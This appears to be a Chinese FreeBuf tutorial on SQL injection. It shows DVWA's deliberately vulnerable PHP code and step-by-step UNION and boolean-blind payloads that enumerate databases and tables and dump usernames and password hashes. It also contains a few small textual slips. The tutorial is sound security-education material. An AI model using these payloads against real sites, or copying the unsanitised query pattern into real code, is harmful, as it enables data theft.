一文详述SQL注入 - FreeBuf网络安全行业门户

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

Web安全

一文详述SQL注入

2025-04-08 11:24:24

所属地北京

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

漏洞描述

SQL注入指的是web应用对用户输入数据没有经过严格的判断和过滤，用户可以自由输入参数，且输入的参数被带到数据库中直接作为查询的参数。攻击者通过构造特殊参数改变了SQL语句原本的逻辑，执行攻击者指定的操作（如查询数据、下载数据、写入 webshell、执行系统命令以及绕过登录限制等）。其本质就是违背了“数据与代码分离”的原则，把用户输入的参数当作代码来执行。

SQL注入的两个条件：用户可以控制前端传给后端的参数内容；用户输入的参数会被带入数据库，拼接到SQL语句中进行查询。

Mysql相关知识

information _schema库

在MySQL 5.0版本之后，MySQL默认在数据库中存放一个名为“information_schema”的数据库。在该库中，需要关注三个表，分别是SCHEMATA、TABLES和COLUMNS。

SCHEMATA表存储该用户创建的所有数据库的库名，该表中记录数据库库名的字段名为SCHEMA_NAME。

TABLES表存储该用户创建的所有数据库的库名和表名，记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。

COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名，该表中记录数据库库名、表名和字段名的字段名分别为TABLE_ SCHEMA、TABLE_NAME和COLUMN_NAME。

常用函数

对Mysql注入时经常用到下面三个函数：

DATABASE()：返回当前选择的数据库名。如果未选择任何数据库，则返回 NULL。

VERSION()：返回当前 MySQL 服务器的版本信息。

USER()：返回当前 MySQL 会话中登录用户的信息，包括用户名和主机名。

注释符

“#” 表示单行注释，在 URL 编码中字符“#”编码是 %23。

“--空格” 表示单行注释，注意为短线短线空格。（在url编码中用“+“或者%20表示空格）

“/*......*/” 多行注释，常用来作为空格

“/*! code */” 内联注释，注释的内容是SQL语句，只有在 MySQL 数据库版本符合特定条件时才会被执行，而在其他版本或数据库系统中则会被忽略。

发送请求时参数的位置

URL中：GET 请求的参数经常放在URL 中，GET请求的URL传参有长度限制。

POST 请求体中：POST 请求参数经常放在POST请求体中，长度没有限制。

COOKIE中：COOKIE也能存放参数，提交的时候服务器会从请求头获取。

其它请求头中：......

参数的数据类型

int 整型

select * from users where id=1

sting 字符型

select * from users where username='admin'

like 搜索型

select * from news where title like '%标题%'

Union联合注入

占位符

占位符是一种临时的、无实际业务意义的值，用于填充查询的某些位置，使其符合语法要求或满足特定的逻辑需要。占位符的主要目的是为了确保 SQL 查询的结构完整性，特别是在不需要具体数据或暂时无法提供实际数据时。

字符串占位符：使用字符串填充查询结果中的列。

数字占位符：使用简单的数字（如 1, 2, 3）填充查询结果中的列。

示例：SELECT 1, 2, 3;

1744080408_67f48e18e9ae19a231d2c.png!small?1744080410235

子查询

在 MySQL 中，SELECT 子查询是一种嵌套查询技术，用于在一个查询中嵌套另一个查询。子查询可以作为主查询的一部分，提供数据以供主查询使用。子查询通常用于提高查询的灵活性和复杂性。

在 SELECT 子句中:子查询返回一个值，常用于主查询的列计算。

示例：显示每个员工的工资和部门的平均工资

SELECT employee_id, salary,(SELECT AVG(salary) FROM employees WHERE department_id = e.department_id) AS avg_department_salary

FROM employees e;

LIMIT 关键字

在 MySQL 中，LIMIT 关键字用于限制 SQL 查询结果集中返回的记录数，通常用于分页查询、大量数据的截取以及提高查询效率。

基本语法

指定起始位置和返回记录数

SELECT * FROM employees LIMIT 10, 5;

作用：跳过前 10 条记录，从第 11 条记录开始，返回 5 条记录。第一个参数 10 是偏移量（可省略，省略时从第0条记录算起），第二个参数 5 是返回的记录数。

GROUP_CONCAT() 函数

GROUP_CONCAT() 是一个 MySQL 聚合函数，用于将一个分组内的多行值连接成一个字符串。它可以按照指定的分隔符或顺序对结果进行拼接。

将多行合并为一行

例如，将某个用户的所有角色显示为一个逗号分隔的字符串：

SELECT user_id, GROUP_CONCAT(role_name) AS roles FROM user_roles GROUP BY user_id;

用于子查询

通过子查询使用 GROUP_CONCAT() 获取复杂拼接数据：

SELECT department,

(SELECT GROUP_CONCAT(name) FROM employees e

WHERE e.department = d.department) AS employee_list

FROM departments d;

CONCAT() 函数

CONCAT() 是 MySQL 中的字符串函数，用于将两个或多个列的值拼接成一个字符串。

基本语法：CONCAT(string1, string2, ..., stringN)

string1, string2, ..., stringN：要拼接的字符串，可以是列名、字符串常量或表达式。

返回结果为所有输入字符串的拼接结果。

漏洞分析

前端：

在输入框输入参数并提交，前端将参数添加到URL中并以get方式发送请求，后端返回该参数的查询结果。

后端

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last  = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

上面这段代码的作用是接收用户通过 $_REQUEST 提供的输入，然后使用输入值在数据库中查询对应记录，最后将查询结果（first_name 和 last_name）显示给用户。观察被标记的代码会发现，获取用户输入的id参数后，并没有对其进行检查和过滤而是直接拼接到sql查询语句中，于是就产生了可被利用的漏洞。

漏洞利用

注入测试

观察代码，可以看到参数是由单引号包围的字符串。在参数“1”的基础上添加一个单引号和注释符，可以看到其结果和仅输入“1”时的结果相同：

这是因为输入参数被拼接到SQL语句中后被识当作字符串，参数中的单引号与原本的左单引号闭合用于标识这个字符串，并且参数中的注释符使得右单引号失效，整体来看参数“1”和参数“1’#”是等效的：（第二句会把sql语句结尾的“；”也会注释掉，但是MySQL 的查询并不强制要求 SQL 语句以分号结尾，分号是多语句的分隔符）
SELECT first_name, last_name FROM users WHERE user_id = '1';

SELECT first_name, last_name FROM users WHERE user_id = '1’#';

输入“1' and 1=1#”会看到结果和输入“1”是相同的，这是因为输入“1' and 1=1#”后WHERE子句的筛选条件变成了user_id = '1' and 1=1#，由于1=1恒为真，所以筛选结果和user_id = '1'相同：

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#';

而输入1' and 1=2#后，WHERE子句的筛选条件变成了user_id = '1' and 1=2#，由于1=2是恒为假，没有数据符合筛选条件，所以结果为空：

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2#';

对比这两次不同的输入以及对应结果会发现，特意构造的参数已经改变了SQL语句原本的逻辑，且执行结果与修改后的语句逻辑相符，说明注入有效。

判断回显位

在白盒模式下，通过对代码的分析很容易看出查询结果的列数以及哪几列最终会返回到前端供用户查看（回显位）。示例的查询结果共有2列，且2列都返回给前端：

$query = "SELECT first_name, last_nameFROM users WHERE user_id = '$id';";

......

while( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row["first_name"];
$last = $row["last_name"];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

但是在黑盒模式下，则需要额外注入一些语句来判断。此时就需要用到ORDER BY子句来判断查询结果的列数：

SELECT first_name, last_name FROM users WHERE user_id = '1' order by n#';

输入1' order by 1#

输入1' order by 2#

输入1' order by 3#

报错，说明查询结果共2列

此时还需要知道查询结果中的哪几列是回显位，可以用UNION关键字构造一个联合查询。UNION关键字连接原本的SELECT语句，后面再拼接一个由数字占位符填充的SELECT语句：

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2#';

联合查询会将这两个SELECT语句的结果组合成一个结果集，由于该示例返回了结果集中的所有结果，直接查看前端返回了哪些数字占位符便可知哪些列是回显位：

在有些情况下，后端只会返回结果集中的一个结果，这会导致我们看不到想要的内容，这时可以第一条语句的id参数设为-1，使第一条SELECT语句的结果为空，这样就会返回第二条语句的结果：

SELECT first_name, last_name FROM users WHERE user_id = '-1' union select 1,2#';

或者用LIMIT关键字在结果集中跳过我们不关心的内容而截取我们指定的结果，只返回第二条SELECT语句的结果：

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 limit 1,1#';

正式注入

在确定哪些列是回显位之后，可以继续构造第二条SELECT语句进行正式的查询。回显位上的数字占位符可以替换为函数、字段名和SELECT子查询，用于回显想要的信息。查询MYSQL版本和当前数据库的库名：

SELECT first_name, last_name FROM users WHERE user_id = '1' union

select version(),database()

limit 1,1#';

在information_schema库中查询当前数据库（dvwa）有哪些表。为提升注入效率，用group_concat()函数将所有表名连接成字符串一次性全部返回：

SELECT first_name, last_name FROM users WHERE user_id = '1' union

select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'

limit 1,1#';

在information_schema库的columns表中查询users表里有哪些字段：

SELECT first_name, last_name FROM users WHERE user_id = '1' union

select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'

limit 1,1#';

用select子查询可以有同样的效果：

SELECT first_name, last_name FROM users WHERE user_id = '1' union

select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')

limit 1,1#';

查询users表中user和password两个字段的所有内容：

SELECT first_name, last_name FROM users WHERE user_id = '1' union

selectgroup_concat(user),group_concat(password) from users

limit 1,1#';

查询到的密码以MD5的方式加密过，通过在线解密网站解密得到密码的明文：

Boolean布尔盲注

与 SUBSTRING()类似的函数

SUBSTR()：功能和 SUBSTRING() 完全相同，语法一致。

MID()：仅适用于从正数位置开始的子字符串提取，语法与 SUBSTRING() 相同。

LEFT()：从字符串开头提取指定长度的子字符串。语法： LEFT(string, length)

RIGHT()：从字符串末尾提取指定长度的子字符串。语法： RIGHT(string, length)

函数LENGTH()

LENGTH()函数的作用

在 MySQL 中，LENGTH() 是一个字符串函数，用于计算字符串的长度（以字节为单位）。

语法：LENGTH(string)

string：要计算长度的字符串。
返回值是字符串的长度，以 字节数表示。

ASCII字符集中的字符都是单字节字符，字符串长度等于字符数，而UTF-8 中的中文，每个字符占 3 字节。

类似的函数

CHAR_LENGTH()或 CHARACTER_LENGTH()

计算字符串中的 字符数（而非字节数）。
对于单字节字符集（如 latin1），LENGTH()和 CHAR_LENGTH() 返回相同结果。
对于多字节字符集（如 utf8），CHAR_LENGTH()返回的是字符数，而 LENGTH() 返回的是字节数。

OCTET_LENGTH()

返回字符串的字节长度，与 LENGTH()等效。

漏洞分析

前端交互：

在输入框中输入参数ID，提交后只返回两种情况：此用户ID是否存在，而不会返回查询结果的内容。

后端代码：

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

后端在获取到参数ID后，也是直接将未经检验的参数拼接到SQL语句中。但跟联合注入不同的是，后端并没有将查询结果中的相关内容返回给前端，而是检查结果集中是否有结果，然后告知前端用户ID是否存在。也就是说，我们只能得到真（ID存在）和假（ID不存在）两种结果。

漏洞利用

注入测试

可以看到拼接到SQL语句中的参数是由单引号标识的字符串，在参数中添加一个单引号使标识符提前闭合，再添加一个注释符注释掉多余的单引号：

SELECT first_name, last_name FROM users WHERE user_id = '1' #';

输入1'and 1=1#

SELECT first_name, last_name FROM users WHERE user_id = '1'and 1=1#';

输入1'and 1=2#

SELECT first_name, last_name FROM users WHERE user_id = '1'and 1=2#';

结果和预期相同，说明注入有效。

正式注入

选取逻辑运算符

由于只能得到真或假（有或无）两种结果，不妨像注入测试时一样在WHERE子句中用AND连接一个逻辑表达式，当AND左边的条件语句为真时，WHERE子句的值取决于AND右边的逻辑语句。反过来看，最终返回结果的有或无反映了逻辑语句的真假。

原本的条件语句存在为真的情况，则结果集不为空:

SELECT first_name, last_name FROM users WHERE user_id = '1' #';

And连接的条件语句为真时，则结果集也不为空:

SELECT first_name, last_name FROM users WHERE user_id = '1'and 1=1#';

And连接的条件语句为真时，则结果集为空:

SELECT first_name, last_name FROM users WHERE user_id = '1'and 1=2#';

同理，也可以选取OR连接逻辑表达式，不过OR左边的条件表达式需要始终为假，使WHERE子句的值取决于后面条件语句。